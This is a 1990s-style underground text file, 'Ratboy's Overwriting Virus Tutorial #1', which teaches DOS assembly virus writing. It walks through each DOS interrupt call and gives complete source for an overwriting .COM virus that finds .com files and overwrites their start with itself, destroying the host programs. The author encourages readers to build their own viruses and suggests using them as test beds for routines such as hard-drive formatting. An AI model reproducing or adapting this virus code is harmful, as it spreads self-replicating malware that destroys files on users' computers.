RATBOY'S
OVERWRITING VIRUS TUTORIAL #1

     /\---/\
    ( .   . )
     \     /     WARNING: The information contain within here can be
      \   /      ^^^^^^^  dangerous to you mind and computer!!!!!!!!
       \*/                I assume no responsiblity!!!!!!!!!
        #

            Well here it is my first instructional tutorial.  I felt it was
    nesscary for this file since I could not find any tutorials that taught
    virus writing from the basic overwriting virus.  Well that's how I started
    and now I want to show you.  So that you too can have a long and fruitful
    life of codeing viruses.  :)

                            OVERWRITING VIRUSES

    -=What is an overwritting virus?

    I'm glad you asked that.  :)  An overwriting virus is a virus that reproduces
    by overwriting the first parts of a program with itself.  Here is an example:

                    +-------------------------+        (I got this example from
                    |    P R O G R A M        |         40Hex, thanks P/S!!!!)
                    +-------------------------+
                             plus:
                    +--------+
                    | VIRUS! |
                    +--------+
                             equals:

                    +--------+----------------+
                    | VIRUS! | G R A M        |
                    +--------+----------------+

            As you can see the first part of the program was overwritten with
    the virus code.  Since important parts of the original program are
    effectivly destroyed it won't ever run, but the virus code will.
    As you can guess overwriting viruses are very destructive and not very
    productive.  But you must learn to walk before you can do the Polka!!

    -=So what does one need to know to write an overwriting virus?
    Another question I'm glad you asked.  :)  Well having a basic knowledge in
    Assembly is a must, but it is not very differcult.  As a virus writer, I
    only know one programing language, Assembly.  I didn't even learn BASIC.
    So don't listen to those that say don't learn Assembly, it's a wonderful
    programing language.  At the end of this file I'll be recomending books and
    things to do to help ya on your way to Assembly and virus writing.

            Well let's get down to codeing!!!!  :)
    We will be dealing with .Com files.  So here is the basic setup for a .Com
    file in an Assembly source file:
    -----------------------------------------------------------------------------
            CODE    SEGMENT
            ASSUME  CS:CODE,DS:CODE         ;in .Com files the data, code, extra
                                            ;and stack segments are all the same.
            ORG     100H                    ;this is where all .Com files start
                                            ;in memory.  This allows room for the
                                            ;PSP.
    STARTVX PROC    NEAR

            blah!                           ;all your virus body goes here
            blah!
            blah!
    STARTVX ENDP
            blah!                           ;all your 'db's go here etc..etc...
    CODE    ENDS
            END     STARTVX
    -----------------------------------------------------------------------------

    See the set up isn't really hard to follow, but the lack of info in that
    example can be confusing.  We'll get to a full Virus source code a little
    later.
            Now what is the basic setup for a simple overwriting virus?  Well
    let's look at the order of operations:

    (1)     find a file
    (2)     open the found file
    (3)     write the virus to the opened file (infect it)
    (4)     close the file
    (5)     exit

    Well as you can see there is nothing but pure replication functions in this
    setup.  Well I wanted it to be easy and not to boog you down with encryption,
    id bytes, etc...  We are dealing with ZEN and the art of basic viruses!

    Here we go looking at these steps of an simple overwriting virus:

    (1) FIND FIRST FILE!
    the inputs:

            AH: 4EH
            CX: FILE ATTRIBUTES
            DX: OFFSET ADDRESS OF FILE NAME
            DS: SEGMENT ADDRESS OF FILE NAME

    Now let's see how we would put this into our little program:

            mov     ah,4eh                    ;find first service
            mov     cx,0000h                  ;we 0'ed cx for normal files
            mov     dx,offset star_com        ;the file mask for .Com file
                                              ;you'll see
            int     21h
    ;now of course when you said star_com you need to tell the Assembler what
    ;you are talking about.  Here it is:

    star_com:       db      "*.com",0

    ;ya see how it will work.  With the use of the wild card '*' the first file
    ;that has the ending of .com will be found.  This is easy isn't it?

            Now you can see that we didn't need to touch DS: since CS=DS=ES=SS.
    So the Star_com already was in the Data Segment.  Yay!!!!!  Love em .Com
    files.  Sorry need to get back on track.

            Now before we can go on and talk about open a found file for writing
    to(infecting), we must talk about the Disk Transfer Area (DTA).  When you
    find that first file, information about the file found goes into the DTA,
    everything from file name to date of creation.  Here's the setup:

            0h      db      21 dup(0)  ;reserved for DOS uses
            15h     db      00         ;file attributes
            16h     dw      0000       ;file time
            18h     dw      0000       ;file date
            1ah     dd      00000000   ;file size
            1eh     db      13 dup(0)  ;asciiz of the file name.

            That is the layout of the DTA.  Now the DTA lies in the PSP.  The
    first 256 (100h) bytes infront of the .Com file.  It's address is 80h.
    Most of the time in virus writing, you would want to move the DTA to a
    location where you can manipulate it without possbile messing up the PSP.
    Well for our case, with a simple overwriting virus, we don't need to worry.
    All we are going to do is read from the DTA, the file name we just have
    found.  Now this is how we will address the file name, now we know that
    the DTA starts at 80h, and we know that at 1eh from the DTA's begining is
    the asciiz of the file name.  So we just add them together and see what we
    get, 80h + 1eh = 9eh.  Well that is were it's located, now let's move on
    to the next step.

    (2) OPENING THE FOUND FILE!
    the inputs:

            AH: 3DH
            AL: 00H    ;opened for reading only
                01H    ;opened for writing only
                02H    ;opened for both reading and writing
            DX: OFFSET ADDRESS OF THE FILE NAME
            DS: SEGMENT ADDRESS OF THE FILE NAME

    outputs:
            AX: FILE HANDLE

    Now look at it setup in the format we need to know.

            mov     ah,3dh         ;open file
            mov     al,02h         ;open it for reading and writing
            mov     dx,9eh         ;remember this is where the name in the DTA
            int     21h

    Now Dos services will return a file handle of the file we just opened.  The
    file handle is nothing more than a number that dos uses to know where it
    will read from(the file) or write to(the file).  We don't want it in AX
    since the next step that you will see we need it in BX.  Here's a easy way
    to move it:

            xchg    bx,ax          ;that will put the file handle into bx in one
                                   ;step!!!

    Ok now the down and dirty stuff.  Infecting the file we just opened. Ha ha!

    (3)WRITING TO THE OPENED FILE(INFECTING)
    the inputs:

            AH: 40H
            BX: FILE HANDLE
            CX: BYTES TO WRITE
            DX: OFFSET OF ADDRESS OF THE BEGINING OF THE VIRUS

    Here we go again with seeing what it will look like:

            mov     ah,40h
            mov     cx,offset endvx - offset startvx ;this will find the virus
                                                     ;lenth, how many bytes to
                                                     ;write....
            mov     dx,offset startvx                ;where the virus starts
            int     21h

    Ahhhhhhhhh!  I always feel so relaxed after reproducing....ahh.hh...h!
    Oh...where was I, a...well now that we have copied the virus to the file,
    now we can close it up.

    (4)CLOSE THE FILE! ;Whata-ya live in a barn!
    the inputs:
            AX: 3EH
            BX: FILE HANDLE

            Now before we go on remember how after we opened the file that we
    put the file handle in BX.  So since we didn't mess with BX we should just
    have to:

            mov     ah,3eh
            int     21h

            Now for the final and last step the exiting.  Here ya go:
    (5)EXIT!

            int     20h

            Well I know it isn't really pretty, but it works.
    Well let's look at how all of it fits together:

    -----------------------------------------------------------------------------
    Code    Segment
            Assume CS:code,DS:code
            Org     100h

    startvx proc    near

            mov     ah,4eh
            mov     cx,0000h
            mov     dx,offset star_com
            int     21h

            mov     ah,3dh
            mov     al,02h
            mov     dx,9eh
            int     21h

            xchg    bx,ax

            mov     ah,40h
            mov     cx,offset endvx - offset startvx
            mov     dx,offset startvx
            int     21h

            mov     ah,3eh
            int     21h

            int     20h

    startvx endp

    star_com:       db      "*.com",0

    endvx   label   near

    code    ends
            end     startvx

    -----------------------------------------------------------------------------
            Sorry I didn't put comments in, but that was done so that if you can
    not read along and follow what is going on.  You need to re-read this file,
    and practice more Assembly.

    -=Now that I know overwriting virus programing what can I use them for?
    Another fine question.  :)  overwriting viruses are simple, and being simple
    they are fairly easy to follow and program.  That in it's self will help
    educate you in the basics of a virus, writing, reading, find file, etc....
    Also since it's fairly easy to write up an overwriting virus you can use them
    as test platforms for other routines.  Formating HD's, visual displays,
    encryption, etc.....  This is so that you can concentrate on the how
    the test routine will work not the virus.

    -=Now that I have the basics, is that all I need?
    OH No, there are many things that you need, the knowledge being the hardest.
    Read Assembler Inside and Out, and Using Assembly, they're really good books.
    You need, an Assembler(A86+TASM), lot's of source codes to learn from(some
    included).  It just dosen't stop there, you will need a some really good
    virus scanners to track what your virus is doing.  F-prot and Tbav are
    great, but if you come up with a virus that is unscannerable they won't work.
    That's why I highly recommend INVIRCIBLE.  It will protect you from real
    screw ups, track your virus movement, even unscannibles, even protect you
    from your 'friends' viruses on you computer >:>.  It's the best anti-virus
    protection out there, you need to know your enemy, and it's a powerful tool.
    The biggest and most important thing you can have is people that are helpful
    enough to take the time to answer the questions that form in your mind.  You
    will see some of those people in the closing credits of this file.  Talk to
    them.

            Now you are on to a long and fruitful life of making your
            own viruses.  Remember pratice, ask questions, read and
            of course have fun!!!!!!!

    *****************************************************************************

    Now I would like to take the time to thank a few people:

    -=*God, for making me possible
    -=*My Wife, for putting up with me!!
    -=*FC, thanks for all the info and help, dude!!!
    -=*Invircible, yea I know it's a piece of software, but it has covered my but
       enough times.  Thanks Mike!!!!!!!!!!!!!!!!!
    -=*Aristotle, yea Aristotle, the dude help start me out.
    -=*Vlad, Immortal Riot, NuKE, Falcon, P/S, Mad Arab, Terminal Velocity..etc..